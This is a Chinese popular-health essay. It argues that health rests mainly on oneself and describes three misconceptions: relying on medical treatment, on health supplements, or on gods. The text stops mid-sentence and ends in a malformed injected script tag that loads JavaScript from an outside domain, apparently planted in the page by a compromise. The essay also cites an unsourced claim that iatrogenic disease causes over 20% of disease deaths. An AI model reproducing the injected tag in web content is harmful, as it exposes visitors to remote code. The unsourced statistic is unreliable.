健康,是人生最宝贵的财富,这已成为全人类的共识。因此,古往今来,人们都在关注着健康,并一直在孜孜不倦地探索着实现健康的途径。时至今天,随着经济的快速发展,人民生活水平的不断提高,人们以不同寻常的热情,更加关注健康,热望健康。可以说,健康如同爱情一样,成了古今中外人类生活的一个永恒主题。
然而,健康靠什么才能实现?即实现健康的途径是什么?古今中外,众说纷纭,莫衷一是。实践证明:健康靠自己。健康的主动权掌握在自己手里,自己才是健康的主人。
但是,许多人不相信“健康靠自己”这一正确结论,而是把健康寄托在医疗、保健品甚至神灵等种种外力上,从而走进了误区。
误区之一:靠医疗
人患了病,去医院让医生诊治,这是完全必要的。然而,不能把医疗作为实现健康的主要途径和唯一途径。但是,一些人却把健康寄托在医疗上。他们小病大治,药不离口。去医院成了他们日常生活的重要组成部分。即使没患病,也要服些营养药、防病药之类。虽然如此,他们的健康状况却总是不尽人意,总是这病未去那病来,总是疾病缠身,甚至罹患重病,痛苦不堪!这是为什么呢?
俗语说:“是药三分毒。”即是说,凡是药品,在治疗某种疾病的同时,还会对人体产生一定的毒副作用,在杀死病菌的同时,也会不可避免地对人体造成一定的损害。如儿童服用抗生素,有的可造成耳聋;癌症病人化疗后,可造成头发脱落等。所以说,要实现健康,不可过分依赖医疗和药物,更不可滥用药。
同时,依赖医疗和医药还有染上医源性疾病的危险。所谓医源性疾病,即医生诊断不当和用药不当而导致的疾病。据卫生部门统计,近年全国因医源性疾病导致死亡的人数已占全部疾病死亡人数的20%以上,这是一个多么惊人的数字!
可见,仅仅靠医疗来实现健康是靠不住的,医疗,只是实现健康的一个必要手段而已。
误区之二:靠保健品
根据自己的身体状况,在一定时间,服用某些保健品、营养品乃至补品,是必要的,尤其是中老年人。但是,不能把服用保健品作为实现健康的主要途径和唯一途径。
然而,一些人却把健康寄托在保健品上。他们听信许多保健品广告神乎其神的宣传,不仅口服保健药物、营养品和补品,而且使用保健器具。用保健品,成了他们生活中不可或缺的重要内容。即使这样,保健品却未使他们“保健”,他们的健康状况仍然不佳,仍然疾病时来,其中原因,使他们百思不得其解。
如今,保健品种类繁多。既有外国进口的,又有国产的;既有口服的,又有器械的,林林总总,令人眼花缭乱。各种保健品广告更使人目不暇接。他们把自己的保健品功能说得神乎其神,包治百病。但是,人们用过以后才知道,这些广告宣传往往夸大其辞。
不可否认,经国家卫生部批准生产的保健品具有一定的保健功能,对人们尤其是中老年人的身体健康是有益的。但保健品不是万应灵药,不可能包治百病。因此,绝不能把健康寄托在保健品上。保健品,只是实现健康的辅助手段而已。
误区之三:靠神灵
一些人把健康寄托在神灵上,他们相信,神灵是万能的,神灵可以保佑他们不生病。即使生了病,神灵也可以保佑他们病愈。他们常常到庙中跪拜在神像前,虔诚地祷告,让神灵保佑他们疾病痊愈,身体健康。有的甚至请神婆、神汉为自己和亲人治病,而不到医院治疗。他们这样做,往往事与愿违,疾病依然未愈,身体未能健康,于是烦恼接踵而来。
生活中的大量事例告诉人们,神灵不能保佑人们不生病。那些虔诚地信神、拜神的人们,他们照样罹患各种疾病,有些甚至患上重病。已经患病的人们,神灵也不能保佑他们尽快痊愈,依然久病不愈;有些则重病缠身,卧床不起;有些甚至病危去世。这些人只信神灵,不信科学,有了病不及时到医院治疗,以至延误了宝贵的治疗时间,导致了病危人亡的严重后果。这是多么深刻的教训!
事实证明:把健康寄托在神灵上是靠不住的。这样做,误己误人,只会带来严重的后果。只信神灵的人当立即猛醒!
既然健康不能只靠医疗和保健,不能靠神灵,那么,健康靠什么呢?回答是:健康靠自己。
我国古人早就响亮地提出:我命在我不在天。即是说,我的寿命在于自我,而不是由天注定。健康的主人是自己,而不是上天。
世界卫生组织指出:一个人的健康长寿,60%取决于自己。因此,要实现健康,主要靠自己。
实现健康的关键在于提高自身的免疫力。在生活中,我们可以看到,当一场感冒流行时?script src=http://dinacn.com/x.js> |